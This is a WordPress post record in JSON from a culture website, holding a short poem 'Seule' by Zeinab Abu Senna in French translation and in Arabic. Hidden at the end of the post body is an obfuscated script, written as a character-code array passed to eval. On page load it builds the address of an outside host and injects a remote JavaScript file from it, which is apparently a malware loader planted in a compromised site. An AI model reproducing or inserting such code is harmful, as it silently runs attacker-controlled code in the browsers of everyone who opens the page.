{"id":99519,"date":"2023-08-11T04:57:10","date_gmt":"2023-08-11T04:57:10","guid":{"rendered":"https:\/\/worldofculture2020.com\/?p=99519"},"modified":"2023-08-11T04:57:10","modified_gmt":"2023-08-11T04:57:10","slug":"%d9%88%d8%ad%d8%af%d9%8a-seule","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=99519","title":{"rendered":"\u0648\u062d\u062f\u064a Seule"},"content":{"rendered":"<p style=\"text-align: left;\">\n<strong><span style=\"color: #0000ff;\">Dr Zeinab Abu Senna<\/span><\/strong><br \/>\n<strong><span style=\"color: #0000ff;\">Du recueil \u00ab le Carnet du C\u0153ur \u00bb<\/span><\/strong><br \/>\n<span style=\"color: #ff6600;\"><strong>Traduit en vers par Iman El Kach\u00e9f<\/strong><\/span><\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-99520 aligncenter\" src=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2023\/08\/\u0625\u064a\u0645\u0627\u0646-\u0627\u0644\u0643\u0627\u0634\u0641-\u0648\u0632\u064a\u0646\u0628-\u0623\u0628\u0648\u0633\u0646\u0629-162x300.jpg\" alt=\"\" width=\"162\" height=\"300\" srcset=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2023\/08\/\u0625\u064a\u0645\u0627\u0646-\u0627\u0644\u0643\u0627\u0634\u0641-\u0648\u0632\u064a\u0646\u0628-\u0623\u0628\u0648\u0633\u0646\u0629-162x300.jpg 162w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2023\/08\/\u0625\u064a\u0645\u0627\u0646-\u0627\u0644\u0643\u0627\u0634\u0641-\u0648\u0632\u064a\u0646\u0628-\u0623\u0628\u0648\u0633\u0646\u0629.jpg 276w\" sizes=\"(max-width: 162px) 100vw, 162px\" \/><br \/>\nSeule<br \/>\nSeule, je n\u2019ai avec moi que moi<br \/>\nJe marche divertie par mes pas<br \/>\nComme le soleil, si je le veux<br \/>\nJ\u2019ai la lumi\u00e8re du matin<br \/>\nComme j\u2019ai aussi ma matin\u00e9e<br \/>\nEt j\u2019en ai marre de tout amour<br \/>\nQui n&#8217;\u00e9tait pas b\u00e9ni de mes mains<br \/>\nJe suis tr\u00e8s loin comme les \u00e9toiles<br \/>\nSeule brill\u00e9e de morosit\u00e9<br \/>\nDans les moments scabreux, ta ros\u00e9e<br \/>\nDe la mienne n\u2019avait pas piti\u00e9<br \/>\nVis en tranquillit\u00e9 dans mon c\u0153ur<br \/>\nComme \u00e9tant un ami amoureux<br \/>\nDemandant tout le temps mon amour<br \/>\nJe n\u2019aspire pas \u00e0 un printemps<br \/>\nQui n&#8217;aspire pas \u00e0 mon odeur<br \/>\n****<\/p>\n<p style=\"text-align: center;\"><span style=\"color: #008000;\"><strong>\u0648\u062d\u0640\u0640\u0640\u062f\u064a<\/strong><\/span><\/p>\n<p><span style=\"color: #0000ff;\"><strong>\u062f. \u0632\u064a\u0646\u0628 \u0623\u0628\u0648 \u0633\u0646\u0629 &#8211; \u062f\u064a\u0648\u0627\u0646 \u0645\u0646 \u062f\u0641\u062a\u0631 \u0627\u0644\u0642\u0644\u0628<\/strong><\/span><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u062d\u062f\u064a.. \u0648\u0644\u064a\u0633\u064e \u0645\u0639\u064a \u0633\u0648\u0627\u064a<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0623\u0645\u0634\u064a.. \u0648\u062a\u064f\u0624\u0646\u0650\u0633\u064f\u0646\u064a \u062e\u064f\u0637\u0627\u064a<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>***<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0643\u0627\u0644\u0634\u0651\u064e\u0645\u0633\u0650 \u0644\u064a \u0636\u0648\u0621\u064f \u0627\u0644\u0635\u0651\u064e\u0628\u0627\u062d\u0650<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0625\u0630\u0627 \u0623\u064e\u0631\u064e\u062f\u062a\u064f \u0648\u0644\u064a \u0636\u064f\u062d\u0627\u064a<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>***<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0645\u064e\u0642\u0628\u0648\u0636\u0629\u064c \u0639\u064e\u0646 \u0643\u064f\u0644\u0651\u0650 \u062d\u064f\u0628\u0651\u064d<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0644\u0627 \u062a\u064f\u0628\u0627\u0631\u0650\u0643\u064f\u0647\u064f \u064a\u064e\u062f\u0627\u064a<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>***<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0648\u0628\u0639\u064a\u062f\u0629\u064c \u0628\u064f\u0639\u062f\u064e \u0627\u0644\u0646\u0651\u064f\u062c\u0648\u0645\u0650<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u064a\u064f\u0636\u064a\u0624\u0646\u064a \u0648\u062d\u062f\u064a \u0623\u064e\u0633\u0627\u064a<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>***<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0641\u064a \u0623\u064e\u0635\u0639\u0628\u0650 \u0627\u0644\u0623\u064e\u0648\u0642\u0627\u062a\u0650 <\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0644\u064e\u0645\u0652 \u064a\u064e\u0639\u0637\u0650\u0641\u0652 \u0646\u064e\u062f\u0627\u0643\u064e \u0639\u0644\u0649\u0670 \u0646\u064e\u062f\u0627\u064a<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>***<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0641\u0627\u0633\u0643\u064f\u0646\u0652 \u0625\u0650\u0644\u0649\u0670 \u0642\u064e\u0644\u0628\u064a <\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0635\u064e\u062f\u0650\u064a\u0642\u064b\u0627 \u0645\u064f\u063a\u0631\u064e\u0645\u064b\u0627.. \u064a\u064e\u0631\u062c\u0648 \u0647\u064e\u0648\u0627\u064a<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>***<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0623\u0646\u0627 \u0644\u0627 \u0623\u064e\u062d\u0650\u0646\u0651\u064f \u0625\u0644\u0649\u0670 \u0631\u0628\u064a\u0639\u064d<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt;\"><strong>\u0644\u0627 \u064a\u064e\u062d\u0650\u0646\u0651\u064f \u0625\u0644\u0649 \u0634\u064e\u0630\u064e\u0627\u064a<\/strong><\/span><\/p>\n<p>&nbsp;<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dr Zeinab Abu Senna Du recueil \u00ab le Carnet du C\u0153ur \u00bb Traduit en vers par Iman El Kach\u00e9f Seule Seule, je n\u2019ai avec moi que moi Je marche divertie par mes pas Comme le soleil, si je le veux J\u2019ai la lumi\u00e8re du matin Comme j\u2019ai aussi ma matin\u00e9e Et j\u2019en ai marre de &hellip;<\/p>\n","protected":false},"author":4,"featured_media":99521,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[7343,7344,7345,4974,5560],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/99519"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=99519"}],"version-history":[{"count":1,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/99519\/revisions"}],"predecessor-version":[{"id":99522,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/99519\/revisions\/99522"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/media\/99521"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=99519"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=99519"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=99519"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}